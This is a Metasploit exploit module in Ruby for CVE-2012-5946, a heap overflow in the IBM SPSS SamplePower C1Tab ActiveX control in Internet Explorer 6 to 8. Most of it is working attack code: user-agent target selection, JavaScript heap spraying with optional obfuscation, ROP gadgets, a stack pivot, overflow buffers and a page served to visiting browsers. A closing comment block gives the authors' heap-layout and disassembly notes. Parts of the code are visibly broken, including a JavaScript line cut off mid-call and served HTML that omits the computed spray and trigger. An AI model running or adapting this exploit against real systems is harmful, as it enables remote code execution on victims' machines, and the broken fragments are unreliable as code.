require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name=> HttpClients::IE,
:ua_minver=> "6.0",
:ua_maxver=> "8.0",
:javascript => true,
:os_name=> OperatingSystems::WINDOWS,
:rank => NormalRanking,
:classid=> "{24E04EBF-014D-471F-930E-7654B1193BA9}",
:method => "TabCaption"
})
def initialize(info={})
super(update_info(info,
'Name' => "IBM SPSS SamplePower C1Tab ActiveX Heap Overflow",
'Description'=> %q{
This module exploits a heap based buffer overflow in the C1Tab ActiveX control,
while handling the TabCaption property. The affected control can be found in the
c1sizer.ocx component as included with IBM SPSS SamplePower 3.0. This module has
been tested successfully on IE 6, 7 and 8 on Windows XP SP3 and IE 8 on Windows 7
SP1.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Alexander Gavrun',
'juan vazquez'
],
'References' =>
[
[ 'CVE', '2012-5946' ],
[ 'OSVDB', '92845' ],
[ 'BID', '59559' ],
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21635476' ]
],
'Payload'=>
{
'Space' => 991,
'BadChars' => "\x00",
'DisableNops' => true
},
'DefaultOptions'=>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets'=>
[
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3',
{
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c08
}
],
[ 'IE 7 on Windows XP SP3',
{
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c08
}
],
[ 'IE 8 on Windows XP SP3',
{
'Offset' => '0x5f4',
'Ret' => 0x0c0c0c0c,
'Pivot' => 0x7c342643
}
],
[ 'IE 8 on Windows 7',
{
'Offset' => '0x5f4',
'Ret' => 0x0c0c0c0c,
'Pivot' => 0x7c342643
}
]
],
'Privileged' => false,
'DisclosureDate' => "Apr 26 2013",
'DefaultTarget'=> 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
print_status("target not found #{agent}")
return nil
end
def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0,
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
|
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end
def rop_chain
rop_gadgets =
[
0x0c0c0c10,
0x10026984,
0x100076f1,
0x10029134,
0x1001b41e,
0x0c0c0c34,
0x0c0c0c0c,
0x00001000,
0x00001000,
0x00000040
].pack("V*")
return rop_gadgets
end
def get_payload(t, cli)
code = payload.encoded
if (t.name =~ /IE 6/ or t.name =~ /IE 7/)
fake_memory = [
0x0c0c0c10,
0x0c0c0c14
].pack("V*")
return fake_memory + code
end
return rop_chain + stack_pivot + code
end
def fake_object(size)
object = "B" * 8
object << "D" * size
return object
end
def stack_pivot
pivot = "\x64\xa1\x18\x00\x00\x00"
pivot << "\x83\xC0\x08"
pivot << "\x8b\x20"
pivot << "\x81\xC4\x30\xF8\xFF\xFF"
return pivot
end
def overflow_xp
buf = rand_text_alpha(0x10000)
buf << fake_object(0x40)
buf << fake_object(0x30)
buf << fake_object(0x30)
buf << fake_object(0x40)
buf << fake_object(0x10)
buf << fake_object(0x10)
buf << fake_object(0x20)
buf << fake_object(0x10)
buf << fake_object(0x30)
buf << "B" * 0x8
buf << "\x0c" * 0x40
end
def overflow_xp_ie8
buf = [
junk,
0x1001b557,
0x0c0c0c14,
0x10028ad8
].pack("V*")
buf << rand_text_alpha(0x10000-16)
buf << "B" * 0x8
buf << "\x0c" * 0x40
end
def overflow_w7
buf = [
junk,
0x1001b557,
0x0c0c0c14,
0x10028ad8
].pack("V*")
buf << rand_text_alpha(0x10000-16)
buf << fake_object(0x3f8)
buf << fake_object(0x1a0)
buf << fake_object(0x1e0)
buf << fake_object(0x1a0)
buf << fake_object(0x1e0)
buf << fake_object(0x1a0)
buf << "B" * 0x8
buf << "\x0c" * 0x40
end
def get_overflow(t)
if t.name =~ /Windows 7/
return overflow_w7
elsif t.name =~ /Windows XP/ and t.name =~ /IE 8/
return overflow_xp_ie8
elsif t.name =~ /Windows XP/
return overflow_xp
end
end
def trigger_w7
target = rand_text_alpha(5 + rand(3))
target2 = rand_text_alpha(5 + rand(3))
target3 = rand_text_alpha(5 + rand(3))
target4 = rand_text_alpha(5 + rand(3))
target5 = rand_text_alpha(5 + rand(3))
target6 = rand_text_alpha(5 + rand(3))
target7 = rand_text_alpha(5 + rand(3))
target8 = rand_text_alpha(5 + rand(3))
target9 = rand_text_alpha(5 + rand(3))
target10 = rand_text_alpha(5 + rand(3))
target11 = rand_text_alpha(5 + rand(3))
target12 = rand_text_alpha(5 + rand(3))
target13 = rand_text_alpha(5 + rand(3))
target14 = rand_text_alpha(5 + rand(3))
target15 = rand_text_alpha(5 + rand(3))
objects = %Q|
<object id="#{target}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target2}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target3}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target4}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target5}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target6}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target7}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target8}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target9}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target10}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target11}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target12}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target13}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target14}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target15}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
return objects, target7
end
def trigger_xp
target = rand_text_alpha(5 + rand(3))
objects = %Q|
<object id="#{target}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
return objects, target
end
def get_trigger(t)
if t.name =~ /Windows 7/
return trigger_w7
elsif t.name =~ /Windows XP/
return trigger_xp
end
end
def load_exploit_html(my_target, cli)
p= get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)
buf = get_overflow(my_target)
objects, target_object = get_trigger(my_target)
html = %Q|
<html>
<head>
</head>
<body>
<script>
CollectGarbage();
</script>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
=begin
[*] Windows XP / ie6 & ie7 memory layout at oveflow, based on empirical test
Heap entries for Segment01 in Heap 01ca0000
address: psize . sizeflags state (requested size)
025c0000: 00000 . 00040 [01] - busy (40)
025c0040: 00040 . 10008 [01] - busy (10000)
025d0048: 10008 . 10008 [01] - busy (10000) // Overflowed buffer
025e0050: 10008 . 00048 [01] - busy (40)
025e0098: 00048 . 00038 [01] - busy (30)
025e00d0: 00038 . 00038 [01] - busy (30)
025e0108: 00038 . 00048 [01] - busy (40)
025e0150: 00048 . 00018 [01] - busy (10)
025e0168: 00018 . 00018 [01] - busy (10)
025e0180: 00018 . 00028 [01] - busy (20)
025e01a8: 00028 . 00018 [01] - busy (10)
025e01c0: 00018 . 00010 [00]
025e01d0: 00010 . 00038 [01] - busy (30)
025e0208: 00038 . 001e8 [01] - busy (1e0) // Vulnerable object
025e03f0: 001e8 . 001a8 [01] - busy (1a0)
[*] Windows XP / ie8 memory layout at oveflow, based on empirical test
Heap entries for Segment01 in Heap 03350000
address: psize . sizeflags state (requested size)
03840000: 00000 . 00040 [01] - busy (40)
03840040: 00040 . 10008 [01] - busy (10000)
03850048: 10008 . 10008 [01] - busy (10000) // Overflowed buffer
03860050: 10008 . 001e8 [01] - busy (1e0) // Vulnerable object
03860238: 001e8 . 001a8 [01] - busy (1a0)
038603e0: 001a8 . 00078 [00]
03860458: 00078 . 00048 [01] - busy (40)
038604a0: 00048 . 00048 [01] - busy (40)
038604e8: 00048 . 00618 [01] - busy (610)
03860b00: 00618 . 10208 [01] - busy (10200)
03870d08: 10208 . 032f8 [10]
03874000:000cc000- uncommitted bytes.
[*] windows 7 / ie8 memory layout at oveflow, based on empirical test
03240000: 00000 . 00040 [101] - busy (3f)
03240040: 00040 . 10008 [101] - busy (10000)
03250048: 10008 . 10008 [101] - busy (10000)
03260050: 10008 . 00400 [101] - busy (3f8) Internal
03260450: 00400 . 001a8 [101] - busy (1a0)
032605f8: 001a8 . 001e8 [101] - busy (1e0)
032607e0: 001e8 . 001a8 [101] - busy (1a0)
03260988: 001a8 . 001e8 [101] - busy (1e0)
03260b70: 001e8 . 001a8 [101] - busy (1a0)
03260d18: 001a8 . 001e8 [101] - busy (1e0)
03260f00: 001e8 . 001a8 [101] - busy (1a0)
032610a8: 001a8 . 001e8 [101] - busy (1e0)
03261290: 001e8 . 001a8 [101] - busy (1a0)
03261438: 001a8 . 001e8 [101] - busy (1e0)
03261620: 001e8 . 001a8 [101] - busy (1a0)
032617c8: 001a8 . 001e8 [101] - busy (1e0)
[*] Overflow:
.text:100146E1 pusheax ; lpString2
.text:100146E2 pushCaptionlpBuffer ; lpString1
.text:100146E8 callds:lstrcatA ; Heap Overflow when setting a new CaptionString > 0x10000
[*] Get Control after overflow:
.text:1001A40D calloverflow_sub_1001469E ; Overflow happens here
.text:1001A412 mov ecx, edi; edi points to the overflowed object, then ecx (this)
.text:1001A414 callget_control_sub_100189EC ; Get profit from the overflowed object here
.text:100189EC get_control_sub_100189EC proc near; CODE XREF: sub_1001A1A9+B6p
.text:100189EC ; SetTabCaption_sub_1001A2EC+128p ...
.text:100189EC
.text:100189EC var_4 = dword ptr -4
.text:100189EC
.text:100189EC pushebp
.text:100189ED mov ebp, esp
.text:100189EF pushecx
.text:100189F0 mov eax, [ecx+10h]
.text:100189F3 and [ebp+var_4], 0
.text:100189F7 testeax, eax
.text:100189F9 jzshort locret_10018A23
.text:100189FB mov ecx, [eax]
.text:100189FD lea edx, [ebp+var_4]
.text:10018A00 pushedx
.text:10018A01 pushoffset unk_1002B628
.text:10018A06 pusheax
.text:10018A07 calldword ptr [ecx]
=end